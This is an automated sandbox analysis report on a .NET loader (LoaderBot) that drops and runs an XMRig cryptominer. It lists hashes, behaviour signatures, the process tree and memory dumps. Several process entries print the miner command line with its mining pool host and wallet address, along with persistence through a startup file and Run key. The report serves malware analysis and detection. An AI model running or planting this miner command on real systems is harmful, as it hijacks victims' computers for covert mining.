Analysis

  • max time kernel
    62s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-08-2023 06:49

General

  • Target

    0x0006000000023277-205.exe

  • Size

    4.0MB

  • MD5

    627beeff653f2b7a84ffe5c0c22d86cb

  • SHA1

    8ba37c58f5812120ac013812fe57218c10960158

  • SHA256

    c6b22b30b4d953c0feef5549d39a1e08491903b3c0f327f3ac67f6abd45461ab

  • SHA512

    52f82f7d620d6cf2504749a65ea8d6995bb4132b9fb793964652f5140856db4933db49f394565be564787e828c3e5b80a579a7d41f6137ba2caa90967cbcbc8d

  • SSDEEP

    49152:rNDFFPJu8fBsVE6ij+RNg+UKpBvtqB3m1RC3:pzP88fBsnZTgOtqB3m1RC3

Malware Config

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • LoaderBot executable 1 IoCs
  • XMRig Miner payload 19 IoCs
  • Drops startup file 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0x0006000000023277-205.exe
    "C:\Users\Admin\AppData\Local\Temp\0x0006000000023277-205.exe"
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: RenamesItself
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1012
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o gulf.moneroocean.stream:10128 -u 44uDhHEfWHzXd48XF1cDiigsmJwe8oNwPbakeJ2vgpCYbVhKVSgihvSENUbzW65s7uUmR1kHKMnRA61b5wEo4c9ZSNQmqmr -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:5104
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 5104 -s 760
        3⤵
        • Program crash
        PID:2380
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o gulf.moneroocean.stream:10128 -u 44uDhHEfWHzXd48XF1cDiigsmJwe8oNwPbakeJ2vgpCYbVhKVSgihvSENUbzW65s7uUmR1kHKMnRA61b5wEo4c9ZSNQmqmr -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4112
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o gulf.moneroocean.stream:10128 -u 44uDhHEfWHzXd48XF1cDiigsmJwe8oNwPbakeJ2vgpCYbVhKVSgihvSENUbzW65s7uUmR1kHKMnRA61b5wEo4c9ZSNQmqmr -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3692
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 3692 -s 876
        3⤵
        • Program crash
        PID:4816
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o gulf.moneroocean.stream:10128 -u 44uDhHEfWHzXd48XF1cDiigsmJwe8oNwPbakeJ2vgpCYbVhKVSgihvSENUbzW65s7uUmR1kHKMnRA61b5wEo4c9ZSNQmqmr -p x -k -v=0 --donate-level=1 -t 4
      2⤵
        PID:4628
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 4628 -s 864
          3⤵
          • Program crash
          PID:1052
      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o gulf.moneroocean.stream:10128 -u 44uDhHEfWHzXd48XF1cDiigsmJwe8oNwPbakeJ2vgpCYbVhKVSgihvSENUbzW65s7uUmR1kHKMnRA61b5wEo4c9ZSNQmqmr -p x -k -v=0 --donate-level=1 -t 4
        2⤵
          PID:4912
        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
          "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o gulf.moneroocean.stream:10128 -u 44uDhHEfWHzXd48XF1cDiigsmJwe8oNwPbakeJ2vgpCYbVhKVSgihvSENUbzW65s7uUmR1kHKMnRA61b5wEo4c9ZSNQmqmr -p x -k -v=0 --donate-level=1 -t 4
          2⤵
            PID:2212
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -pss -s 448 -p 5104 -ip 5104
          1⤵
            PID:3612
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -pss -s 184 -p 3692 -ip 3692
            1⤵
              PID:1748
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -pss -s 384 -p 4628 -ip 4628
              1⤵
                PID:3736

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

                Filesize

                3.9MB

                MD5

                02569a7a91a71133d4a1023bf32aa6f4

                SHA1

                0f16bcb3f3f085d3d3be912195558e9f9680d574

                SHA256

                8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

                SHA512

                534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

                Filesize

                3.9MB

                MD5

                02569a7a91a71133d4a1023bf32aa6f4

                SHA1

                0f16bcb3f3f085d3d3be912195558e9f9680d574

                SHA256

                8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

                SHA512

                534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

                Filesize

                3.9MB

                MD5

                02569a7a91a71133d4a1023bf32aa6f4

                SHA1

                0f16bcb3f3f085d3d3be912195558e9f9680d574

                SHA256

                8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

                SHA512

                534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

                Filesize

                3.9MB

                MD5

                02569a7a91a71133d4a1023bf32aa6f4

                SHA1

                0f16bcb3f3f085d3d3be912195558e9f9680d574

                SHA256

                8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

                SHA512

                534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

                Filesize

                3.9MB

                MD5

                02569a7a91a71133d4a1023bf32aa6f4

                SHA1

                0f16bcb3f3f085d3d3be912195558e9f9680d574

                SHA256

                8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

                SHA512

                534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

                Filesize

                3.9MB

                MD5

                02569a7a91a71133d4a1023bf32aa6f4

                SHA1

                0f16bcb3f3f085d3d3be912195558e9f9680d574

                SHA256

                8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

                SHA512

                534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

                Filesize

                3.9MB

                MD5

                02569a7a91a71133d4a1023bf32aa6f4

                SHA1

                0f16bcb3f3f085d3d3be912195558e9f9680d574

                SHA256

                8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

                SHA512

                534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

                Filesize

                3.9MB

                MD5

                02569a7a91a71133d4a1023bf32aa6f4

                SHA1

                0f16bcb3f3f085d3d3be912195558e9f9680d574

                SHA256

                8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

                SHA512

                534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

              • memory/1012-133-0x0000000074E90000-0x0000000075640000-memory.dmp

                Filesize

                7.7MB

              • memory/1012-138-0x00000000053B0000-0x0000000005416000-memory.dmp

                Filesize

                408KB

              • memory/1012-137-0x00000000050A0000-0x00000000050B0000-memory.dmp

                Filesize

                64KB

              • memory/1012-153-0x0000000074E90000-0x0000000075640000-memory.dmp

                Filesize

                7.7MB

              • memory/1012-134-0x0000000000300000-0x00000000006FE000-memory.dmp

                Filesize

                4.0MB

              • memory/1012-156-0x00000000050A0000-0x00000000050B0000-memory.dmp

                Filesize

                64KB

              • memory/3692-187-0x0000000001FF0000-0x0000000002010000-memory.dmp

                Filesize

                128KB

              • memory/3692-181-0x0000000002160000-0x0000000002180000-memory.dmp

                Filesize

                128KB

              • memory/3692-178-0x0000000001FF0000-0x0000000002010000-memory.dmp

                Filesize

                128KB

              • memory/3692-189-0x0000000002030000-0x0000000002050000-memory.dmp

                Filesize

                128KB

              • memory/3692-186-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB

              • memory/3692-185-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB

              • memory/3692-184-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB

              • memory/3692-183-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB

              • memory/3692-182-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB

              • memory/3692-188-0x0000000002010000-0x0000000002030000-memory.dmp

                Filesize

                128KB

              • memory/3692-180-0x0000000002030000-0x0000000002050000-memory.dmp

                Filesize

                128KB

              • memory/3692-179-0x0000000002010000-0x0000000002030000-memory.dmp

                Filesize

                128KB

              • memory/3692-190-0x0000000002160000-0x0000000002180000-memory.dmp

                Filesize

                128KB

              • memory/3692-171-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB

              • memory/3692-172-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB

              • memory/3692-173-0x0000000001FF0000-0x0000000002010000-memory.dmp

                Filesize

                128KB

              • memory/3692-174-0x0000000002010000-0x0000000002030000-memory.dmp

                Filesize

                128KB

              • memory/3692-175-0x0000000002030000-0x0000000002050000-memory.dmp

                Filesize

                128KB

              • memory/3692-176-0x0000000002160000-0x0000000002180000-memory.dmp

                Filesize

                128KB

              • memory/3692-177-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB

              • memory/4112-160-0x0000000001FF0000-0x0000000002010000-memory.dmp

                Filesize

                128KB

              • memory/4112-168-0x0000000002160000-0x0000000002180000-memory.dmp

                Filesize

                128KB

              • memory/4112-167-0x0000000002140000-0x0000000002160000-memory.dmp

                Filesize

                128KB

              • memory/4112-165-0x0000000001FF0000-0x0000000002010000-memory.dmp

                Filesize

                128KB

              • memory/4112-166-0x0000000002010000-0x0000000002030000-memory.dmp

                Filesize

                128KB

              • memory/4112-164-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB

              • memory/4112-163-0x0000000002160000-0x0000000002180000-memory.dmp

                Filesize

                128KB

              • memory/4112-162-0x0000000002140000-0x0000000002160000-memory.dmp

                Filesize

                128KB

              • memory/4112-161-0x0000000002010000-0x0000000002030000-memory.dmp

                Filesize

                128KB

              • memory/4112-159-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB

              • memory/4112-158-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB

              • memory/4112-157-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB

              • memory/4112-155-0x0000000001FD0000-0x0000000001FF0000-memory.dmp

                Filesize

                128KB

              • memory/4628-196-0x0000000002120000-0x0000000002140000-memory.dmp

                Filesize

                128KB

              • memory/4628-203-0x00000000137F0000-0x0000000013810000-memory.dmp

                Filesize

                128KB

              • memory/4628-194-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB

              • memory/4628-195-0x0000000001EF0000-0x0000000001F10000-memory.dmp

                Filesize

                128KB

              • memory/4628-193-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB

              • memory/4628-197-0x0000000002140000-0x0000000002160000-memory.dmp

                Filesize

                128KB

              • memory/4628-198-0x00000000137F0000-0x0000000013810000-memory.dmp

                Filesize

                128KB

              • memory/4628-199-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB

              • memory/4628-200-0x0000000001EF0000-0x0000000001F10000-memory.dmp

                Filesize

                128KB

              • memory/4628-201-0x0000000002120000-0x0000000002140000-memory.dmp

                Filesize

                128KB

              • memory/4628-202-0x0000000002140000-0x0000000002160000-memory.dmp

                Filesize

                128KB

              • memory/4912-206-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB

              • memory/4912-207-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB

              • memory/4912-208-0x0000000001EF0000-0x0000000001F10000-memory.dmp

                Filesize

                128KB

              • memory/4912-209-0x0000000001F10000-0x0000000001F30000-memory.dmp

                Filesize

                128KB

              • memory/4912-210-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB

              • memory/4912-211-0x0000000001EF0000-0x0000000001F10000-memory.dmp

                Filesize

                128KB

              • memory/4912-212-0x0000000001F10000-0x0000000001F30000-memory.dmp

                Filesize

                128KB

              • memory/5104-151-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB

              • memory/5104-150-0x0000000000400000-0x0000000000414000-memory.dmp

                Filesize

                80KB

              • memory/5104-148-0x0000000140000000-0x0000000140B75000-memory.dmp

                Filesize

                11.5MB